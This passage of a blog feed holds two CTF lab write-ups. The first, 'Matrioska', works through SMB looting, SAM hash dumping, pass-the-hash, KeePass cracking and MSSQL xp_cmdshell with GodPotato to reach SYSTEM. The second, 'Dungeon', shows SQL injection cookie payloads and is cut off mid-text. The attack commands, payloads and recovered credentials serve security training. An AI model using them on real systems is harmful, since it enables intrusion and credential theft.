  old                                 D        0  Mon Jul 28 11:49:48 2025
  password                            D        0  Mon Jul 28 11:49:48 2025
  reports                             D        0  Mon Jul 28 11:49:48 2025
  temp                                D        0  Mon Jul 28 11:49:48 2025
  win11base.zip                       A 117875513  Fri Nov 21 11:22:10 2025
  windows_backup_2022.zip             A      256  Sat Jul 26 07:04:12 2025

        16558079 blocks of size 4096. 5578867 blocks available
smb: \&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because the share contained a large number of files and directories, the entire share was downloaded recursively:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smb: \&amp;gt; prompt off
smb: \&amp;gt; recurse on
smb: \&amp;gt; mget *
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Offline File Analysis&lt;/h3&gt;
&lt;p&gt;We then reviewed the downloaded files locally. The &lt;code&gt;password&lt;/code&gt; directory contained a short list of candidate passwords:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Matrioska ls
archives  confidential_notes.txt  data_243.cfg     logs  password  temp           windows_backup_2022.zip
backup    config_666.log          logfile_332.cfg  old   reports   win11base.zip
➜  Matrioska cat password/secret.txt
test123
dsa/65!!ew
O91pSMMVe7Zp
@@mHGDy12/1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;windows_backup_2022.zip&lt;/code&gt; archive was password protected. The password &lt;code&gt;O91pSMMVe7Zp&lt;/code&gt; successfully opened it, but it contained no useful data.&lt;/p&gt;
&lt;p&gt;The larger &lt;code&gt;win11base.zip&lt;/code&gt; archive was more interesting. It contained a dump of the Windows &lt;code&gt;System32&lt;/code&gt; directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Matrioska unzip win11base.zip
Archive:  win11base.zip
   creating: System32/
   creating: System32/pl-PL/
  inflating: System32/@facial-recognition-windows-hello.gif
   creating: System32/SleepStudy/
   creating: System32/SleepStudy/ScreenOn/
  inflating: System32/SleepStudy/ScreenOn/ScreenOnPowerStudyTraceSession-2025-07-26-11-54-43.etl
  inflating: System32/SleepStudy/ScreenOn/ScreenOnPowerStudyTraceSession-2025-07-26-11-57-49.etl
  inflating: System32/SleepStudy/ScreenOn/ScreenOnPowerStudyTraceSession-2025-07-26-11-52-54.etl
  inflating: System32/SleepStudy/SleepStudyTraceSession.etl
  inflating: System32/SleepStudy/SleepStudyControlTraceSession.etl
   creating: System32/spool/
&amp;lt;SNIP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since the dump contained the &lt;code&gt;SAM&lt;/code&gt;, &lt;code&gt;SYSTEM&lt;/code&gt;, and &lt;code&gt;SECURITY&lt;/code&gt; registry hives, we used &lt;code&gt;impacket-secretsdump&lt;/code&gt; to extract the local account hashes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Matrioska impacket-secretsdump -sam System32/config/SAM -system System32/config/SYSTEM -security System32/config/SECURITY LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x5c304423d95caa7c914c70513985ff40
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e409434e38dfec25410d83696964c1e4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:bc06173bf532b317980d7ebe8e73a220:::
Sam:1001:aad3b435b51404eeaad3b435b51404ee:cba29c45445dda60bdb47c5ea1fc86c9:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword
(Unknown User):_TBAL_{68EDDCF5-0AEB-4C28-A770-AF5302ECA3C9}
[*] DPAPI_SYSTEM
dpapi_machinekey:0x023d015b9a14b112bc0cbf9254bd53043a37fdfd
dpapi_userkey:0xee70c54fc798a6b0c5439444a636ebe33ca12f7d
&amp;lt;SNIP&amp;gt;
[*] Cleaning up...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The dump provided the NT hash for the local &lt;code&gt;Administrator&lt;/code&gt; account:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Administrator : e409434e38dfec25410d83696964c1e4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then needed to identify the available users on the target.&lt;/p&gt;
&lt;h3&gt;RID Brute Forcing&lt;/h3&gt;
&lt;p&gt;Using the valid &lt;code&gt;svc_smb&lt;/code&gt; credentials, RID brute forcing was performed against SMB:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Matrioska nxc smb 172.16.18.11 -u &apos;svc_smb&apos; -p &apos;!Smbsvc_2025#66#&apos; --rid-brute
SMB         172.16.18.11    445    MTK161           [*] Windows 11 / Server 2025 Build 26100 x64 (name:MTK161) (domain:MTK161) (signing:True) (SMBv1:None)
SMB         172.16.18.11    445    MTK161           [+] MTK161\svc_smb:!Smbsvc_2025#66#
SMB         172.16.18.11    445    MTK161           500: MTK161\Administrator (SidTypeUser)
SMB         172.16.18.11    445    MTK161           501: MTK161\Guest (SidTypeUser)
SMB         172.16.18.11    445    MTK161           503: MTK161\DefaultAccount (SidTypeUser)
SMB         172.16.18.11    445    MTK161           504: MTK161\WDAGUtilityAccount (SidTypeUser)
SMB         172.16.18.11    445    MTK161           513: MTK161\None (SidTypeGroup)
SMB         172.16.18.11    445    MTK161           1001: MTK161\Dean (SidTypeUser)
SMB         172.16.18.11    445    MTK161           1002: MTK161\svc_smb (SidTypeUser)
SMB         172.16.18.11    445    MTK161           1003: MTK161\SQLServer2005SQLBrowserUser$MTK161 (SidTypeAlias)
➜  Matrioska
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;Dean&lt;/code&gt; account was identified with RID &lt;code&gt;1001&lt;/code&gt;. Since the recovered &lt;code&gt;Administrator&lt;/code&gt; hash was available, we tested it against &lt;code&gt;Dean&lt;/code&gt; using pass-the-hash authentication over WinRM:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Matrioska nxc winrm 172.16.18.11 -u &apos;Dean&apos; -H &apos;e409434e38dfec25410d83696964c1e4&apos;
WINRM       172.16.18.11    5985   MTK161           [*] Windows 11 / Server 2025 Build 26100 (name:MTK161)
WINRM       172.16.18.11    5985   MTK161           [+] MTK161\Dean:e409434e38dfec25410d83696964c1e4 (Pwn3d!)

➜  Matrioska evil-winrm -i 172.16.18.11 -u &apos;Dean&apos; -H &apos;e409434e38dfec25410d83696964c1e4&apos;

Evil-WinRM shell v3.9

&amp;lt;SNIP&amp;gt;

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users&amp;gt; cd Public
*Evil-WinRM* PS C:\Users\Public&amp;gt; cat user.flg
609&amp;lt;SNIP&amp;gt;&amp;gt;729
*Evil-WinRM* PS C:\Users\Public&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We obtained a shell as &lt;code&gt;Dean&lt;/code&gt; and retrieved the user flag.&lt;/p&gt;
&lt;h2&gt;Shell as NT AUTHORITY\SYSTEM&lt;/h2&gt;
&lt;h3&gt;KeePass Database - Failed&lt;/h3&gt;
&lt;p&gt;With access as &lt;code&gt;Dean&lt;/code&gt;, we enumerated the user&apos;s files and found a KeePass database in the Documents directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*Evil-WinRM* PS C:\Users\Dean\Documents&amp;gt; ls

    Directory: C:\Users\Dean\Documents

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         9/14/2026  10:39 PM                dpapi_stage
&amp;lt;SNIP&amp;gt;
-a----         7/28/2025  10:56 PM           1943 Database.kdbx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We downloaded the database and extracted its hash using &lt;code&gt;keepass2john&lt;/code&gt;. The current version of John the Ripper was built from the &lt;code&gt;bleeding-jumbo&lt;/code&gt; branch to provide the required KeePass support:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /opt
sudo git clone https://github.com/openwall/john -b bleeding-jumbo john-jumbo
cd john-jumbo/src
sudo apt install -y build-essential libssl-dev git zlib1g-dev yasm libgmp-dev libpcap-dev libbz2-dev
./configure &amp;amp;&amp;amp; make -sj$(nproc)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then attempted to crack the database using &lt;code&gt;rockyou.txt&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  run git:(bleeding-jumbo) ./keepass2john /root/machines/ronin/Matrioska/Database.kdbx
Database:$keepass$*4*600000*c9d9f3&amp;lt;SNIP&amp;gt;a01c948d2

➜  run git:(bleeding-jumbo) ./john /root/machines/ronin/Matrioska/hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])
Cost 1 (t (rounds)) is 6000 for all loaded hashes
Cost 2 (m) is 0 for all loaded hashes
Cost 3 (p) is 0 for all loaded hashes
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 3 for all loaded hashes
Will run 4 OpenMP threads
Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected
Press &apos;q&apos; or Ctrl-C to abort, &apos;h&apos; for help, almost any other key for status
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The database used Argon2 and was not cracked with &lt;code&gt;rockyou.txt&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Recovering the Deleted KeePass Database&lt;/h3&gt;
&lt;p&gt;Since the first KeePass database did not provide the required credentials, further enumeration was performed. Two additional &lt;code&gt;.kdbx&lt;/code&gt; files were found in the Recycle Bin:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*Evil-WinRM* PS C:\$Recycle.Bin&amp;gt; ls -force

    Directory: C:\$Recycle.Bin

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs-        11/21/2025   5:45 PM                S-1-5-18
d--hs-         7/28/2025  10:55 PM                S-1-5-21-1990608512-1549956336-3991441458-1001
d--hs-         3/14/2026  12:02 PM                S-1-5-21-1990608512-1549956336-3991441458-500


*Evil-WinRM* PS C:\$Recycle.Bin&amp;gt; cd S-1-5-21-1990608512-1549956336-3991441458-1001
*Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1990608512-1549956336-3991441458-1001&amp;gt; ls

    Directory: C:\$Recycle.Bin\S-1-5-21-1990608512-1549956336-3991441458-1001

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         7/28/2025  10:55 PM             80 $IRQIR9O.kdbx
-a----         7/28/2025  10:54 PM           2062 $RRQIR9O.kdbx

*Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1990608512-1549956336-3991441458-1001&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The larger &lt;code&gt;$RRQIR9O.kdbx&lt;/code&gt; file was copied to a location we could access:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1990608512-1549956336-3991441458-1001&amp;gt; copy &apos;$RRQIR9O.kdbx&apos; C:\Users\Dean\Documents\found_database.kdbx
*Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1990608512-1549956336-3991441458-1001&amp;gt; cd /Users/Dean/Documents
*Evil-WinRM* PS C:\Users\Dean\Documents&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The recovered database was then extracted and cracked:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  run git:(bleeding-jumbo) ./keepass2john /root/machines/ronin/Matrioska/found_database.kdbx &amp;gt; /root/machines/ronin/Matrioska/hash.txt
➜  run git:(bleeding-jumbo) ./john /root/machines/ronin/Matrioska/hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])
&amp;lt;SNIP&amp;gt;
Failed to use huge pages (not pre-allocated via sysctl? that&apos;s fine)
lloyd7           (found_database)
1g 0:00:00:04 DONE (2026-09-14 20:52) 0.2045g/s 61756p/s 61756c/s 61756C/s lloyd7..lloyd143
Use the &quot;--show&quot; option to display all of the cracked passwords reliably
Session completed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The database password was &lt;code&gt;lloyd7&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Opening the database revealed credentials for the MSSQL &lt;code&gt;sa&lt;/code&gt; account.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image.png&quot; alt=&quot;KeePass database successfully opened&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image1.png&quot; alt=&quot;MSSQL sa credentials stored in KeePass&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The recovered credential was:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sa : Imp0ss1bl3t0l3@kx!
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;MSSQL Access as sa&lt;/h3&gt;
&lt;p&gt;The recovered credentials were used to connect to the MSSQL instance on port &lt;code&gt;50668&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Matrioska impacket-mssqlclient sa@172.16.18.11 -port 50668
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(MTK161\SQLEXPRESS): Line 1: Changed database context to &apos;master&apos;.
[*] INFO(MTK161\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (sa  dbo@master)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;sa&lt;/code&gt; account provided a highly privileged SQL session. We enabled &lt;code&gt;xp_cmdshell&lt;/code&gt; and checked the privileges of the resulting process:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Matrioska impacket-mssqlclient sa@172.16.18.11 -port 50668
SQL (sa  dbo@master)&amp;gt; enable_xp_cmdshell
INFO(MTK161\SQLEXPRESS): Line 196: Configuration option &apos;show advanced options&apos; changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(MTK161\SQLEXPRESS): Line 196: Configuration option &apos;xp_cmdshell&apos; changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa  dbo@master)&amp;gt; xp_cmdshell whoami /priv
output
--------------------------------------------------------------------------------
NULL

PRIVILEGES INFORMATION
----------------------
NULL

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeUndockPrivilege             Remove computer from docking station      Disabled
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; privilege was enabled, providing a path to SYSTEM through token impersonation.&lt;/p&gt;
&lt;h3&gt;SeImpersonatePrivilege Abuse with GodPotato&lt;/h3&gt;
&lt;p&gt;We used the MSSQL client to upload &lt;a href=&quot;https://github.com/BeichenDream/GodPotato/releases/tag/V1.20&quot;&gt;GodPotato&lt;/a&gt; to the target:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SQL (sa  dbo@master)&amp;gt; upload /root/tools/GodPotato-NET4.exe C:/Users/Public/GodPotato-NET4.exe
[+] Data length (b64-encoded): 74.67 KB with MD5: 1fdb1dd742674d3939f636c3fc4b761f
[+] Uploading...
[+] Uploaded
[+] certutil -decode &quot;C:/Users/Public/GodPotato-NET4.exe.b64&quot; &quot;C:/Users/Public/GodPotato-NET4.exe&quot;
[+] del &quot;C:/Users/Public/GodPotato-NET4.exe.b64&quot;
[+] certutil -hashfile &quot;C:/Users/Public/GodPotato-NET4.exe&quot; MD5
[+] MD5 hashes match
SQL (sa  dbo@master)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With the binary on the host, we executed it through &lt;code&gt;xp_cmdshell&lt;/code&gt; to impersonate the SYSTEM token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SQL (sa  dbo@master)&amp;gt; xp_cmdshell C:/Users/Public/GodPotato-NET4.exe -cmd &quot;cmd /c whoami&quot;
output
--------------------------------------------------------------------------------
[*] CombaseModule: 0x140706148188160
[*] DispatchTable: 0x140706150905408
[*] UseProtseqFunction: 0x140706149879744
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\963995d6-324a-47ed-bd7f-03f67e659fd0\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000b002-2ab8-ffff-32c1-faf82a91b313
[*] DCOM obj OXID: 0xf44df838e871054f
[*] DCOM obj OID: 0x470d5668585e4b44
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 912 Token:0x732  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 6160
nt authority\system
NULL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The command executed successfully as &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We then used the same technique to retrieve the root flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SQL (sa  dbo@master)&amp;gt; xp_cmdshell C:/Users/Public/GodPotato-NET4.exe -cmd &quot;cmd /c type C:\Users\Administrator\Desktop\root.flg&quot;
output
--------------------------------------------------------------------------------
[*] CombaseModule: 0x140706148188160
[*] DispatchTable: 0x140706150905408
[*] UseProtseqFunction: 0x140706149879744
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\fc74eb2e-6c12-48ac-9a7a-e796c74379db\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00008402-06bc-ffff-e03c-0b24c1494eca
[*] DCOM obj OXID: 0xd7ec4831d0a0611
[*] DCOM obj OID: 0x17e291b912bbf92d
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 912 Token:0x732  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 7796
ce1c&amp;lt;SNIP&amp;gt;555
SQL (sa  dbo@master)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Dungeon - Ronin66 Machine</title><link>https://xiaowenjictf.github.io/posts/roninlabs/dungeon/dungeon/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/roninlabs/dungeon/dungeon/</guid><description>Dungeon writeup</description><pubDate>Fri, 11 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;Dungeon is a Linux machine exposing SSH and a Python Werkzeug application on port &lt;code&gt;5000&lt;/code&gt;. Initial enumeration revealed an authenticated dice-rolling application with a vulnerable &lt;code&gt;Bearer&lt;/code&gt; cookie used to validate sessions.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;Bearer&lt;/code&gt; cookie was vulnerable to SQL injection, allowing authentication bypass and SQL query manipulation. The application was connected to MySQL as &lt;code&gt;root&lt;/code&gt;, which allowed the use of &lt;code&gt;LOAD_FILE()&lt;/code&gt; to read local files and &lt;code&gt;INTO OUTFILE&lt;/code&gt; to write arbitrary content to the filesystem.&lt;/p&gt;
&lt;p&gt;Source code analysis revealed that the &lt;code&gt;/calculate&lt;/code&gt; endpoint executed &lt;code&gt;calculator.py&lt;/code&gt;, which imported Python&apos;s &lt;code&gt;random&lt;/code&gt; module from the application directory. By writing a malicious &lt;code&gt;random.py&lt;/code&gt; and triggering the dice functionality, Python import hijacking was used to obtain a root shell inside the application container.&lt;/p&gt;
&lt;p&gt;The container had access to the host user&apos;s home directory, where an SSH private key for &lt;code&gt;mat&lt;/code&gt; was exposed. Using the recovered key, an SSH session was established on the host.&lt;/p&gt;
&lt;p&gt;Finally, &lt;code&gt;pspy64&lt;/code&gt; revealed that &lt;code&gt;root&lt;/code&gt; periodically executed a Docker Compose job from &lt;code&gt;/master&lt;/code&gt;. The Compose configuration mounted a directory writable by &lt;code&gt;mat&lt;/code&gt; into a privileged container with the host filesystem mounted at &lt;code&gt;/host&lt;/code&gt;. Replacing the executed script allowed the creation of a SUID-enabled copy of &lt;code&gt;/bin/bash&lt;/code&gt;, resulting in full root access to the host.&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;h3&gt;Initial Enumeration&lt;/h3&gt;
&lt;p&gt;A full TCP scan with service detection was performed to identify the exposed services:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sC -sV -p- -v 172.16.18.12 --min-rate 5000

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 05:39:49:e4:05:83:13:36:99:1b:8a:9a:ac:63:9f:8b (ECDSA)
|_  256 2d:7a:75:78:09:f7:af:d2:cd:06:ed:a0:7e:2b:62:a0 (ED25519)
5000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.9.2)
|_http-title: Site doesn&apos;t have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/3.1.3 Python/3.9.2
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Only two TCP services were exposed. SSH was running on port &lt;code&gt;22&lt;/code&gt;, while port &lt;code&gt;5000&lt;/code&gt; hosted a Python Werkzeug application. The web application was therefore prioritized for further enumeration.&lt;/p&gt;
&lt;h3&gt;Web Enumeration&lt;/h3&gt;
&lt;p&gt;The application was manually enumerated for accessible routes and functionality:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260911101216.png&quot; alt=&quot;Web application enumeration&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The application allowed users to register an account, which was used to access the authenticated functionality.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260911101329.png&quot; alt=&quot;Application registration page&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260911101341.png&quot; alt=&quot;Authenticated application functionality&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After authentication, the application presented a dice-rolling feature through the &lt;code&gt;Roll the Dice&lt;/code&gt; button.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260911114703.png&quot; alt=&quot;Dice rolling functionality&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The authenticated functionality became the main focus of the assessment.&lt;/p&gt;
&lt;h2&gt;Shell as root in the container&lt;/h2&gt;
&lt;h3&gt;SQL Injection in the Bearer Cookie&lt;/h3&gt;
&lt;p&gt;The initial tests against the login functionality triggered an application debug response. The following request was sent through Burp Suite:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /login HTTP/1.1
Host: 172.16.18.12:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://172.16.18.12:5000
Connection: keep-alive
Referer: http://172.16.18.12:5000/login
Cookie: Bearer=716571080e93c9554850804905bdfda1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=a&amp;amp;password[$ne]=a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260911174116.png&quot; alt=&quot;Login request triggering the application debug response&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The debug response disclosed that the application was running from &lt;code&gt;/app/app.py&lt;/code&gt;. The same testing was then performed against the registration endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /register HTTP/1.1
Host: 172.16.18.12:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://172.16.18.12:5000
Connection: keep-alive
Referer: http://172.16.18.12:5000/register
Cookie: Bearer=716571080e93c9554850804905bdfda1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=a&amp;amp;password[$ne]=a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260911174545.png&quot; alt=&quot;Token usage in register&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The debug information showed that the application created a &lt;code&gt;Bearer&lt;/code&gt; token for authenticated sessions. This token was used by the &lt;code&gt;/calculator&lt;/code&gt; and &lt;code&gt;/calculate&lt;/code&gt; routes, making it the next logical injection point.&lt;/p&gt;
&lt;p&gt;A request to &lt;code&gt;/calculate&lt;/code&gt; with an invalid token was rejected:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Cookie: Bearer=INVALID
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260911114609.png&quot; alt=&quot;Invalid Bearer token being rejected by the application&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Replacing the token with a SQL injection payload bypassed the authentication check:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Cookie: Bearer=INVALID&apos; or 1=1 -- -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260911114833.png&quot; alt=&quot;SQL injection bypassing the Bearer token authentication&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;Bearer&lt;/code&gt; cookie was therefore confirmed to be vulnerable to SQL injection.&lt;/p&gt;
&lt;h3&gt;Database Enumeration&lt;/h3&gt;
&lt;p&gt;We used the injection to identify the database account executing the queries:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Cookie: Bearer=INVALID&apos; UNION SELECT 1,user(),3,4 -- -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260911174953.png&quot; alt=&quot;Database user enumeration through SQL injection&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The database connection was running as &lt;code&gt;root&lt;/code&gt;. This was particularly useful because MySQL &lt;code&gt;root&lt;/code&gt; may have sufficient privileges to read and write files on the filesystem.&lt;/p&gt;
&lt;h3&gt;Reading app.py&lt;/h3&gt;
&lt;p&gt;The SQL injection was then used to read &lt;code&gt;/app/app.py&lt;/code&gt; through &lt;code&gt;LOAD_FILE()&lt;/code&gt; encoding it&apos;s output in hex:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Cookie: Bearer=INVALID&apos; UNION SELECT 1,hex(LOAD_FILE(&apos;/app/app.py&apos;)),3,4 -- -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260911180217.png&quot; alt=&quot;Reading app.py through LOADFILE&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using &lt;a href=&quot;https://cryptii.com/pipes/hex-decoder/&quot;&gt;cryptii website&lt;/a&gt;, we recovered source code and confirmed the vulnerable authentication logic:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def check_auth(token):
    if not token:
        return False

    try:
        token_clean = token
        conn = get_db()

        with conn.cursor() as cursor:
            query = f&quot;SELECT * FROM users WHERE token = &apos;{token_clean}&apos;&quot;
            cursor.execute(query)
            result = cursor.fetchone()

        conn.close()
        return result
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;Bearer&lt;/code&gt; token was directly concatenated into the SQL query, explaining the injection observed during testing.&lt;/p&gt;
&lt;p&gt;The source code also revealed that the &lt;code&gt;/calculate&lt;/code&gt; endpoint executed &lt;code&gt;calculator.py&lt;/code&gt; from the application&apos;s working directory:&lt;/p&gt;
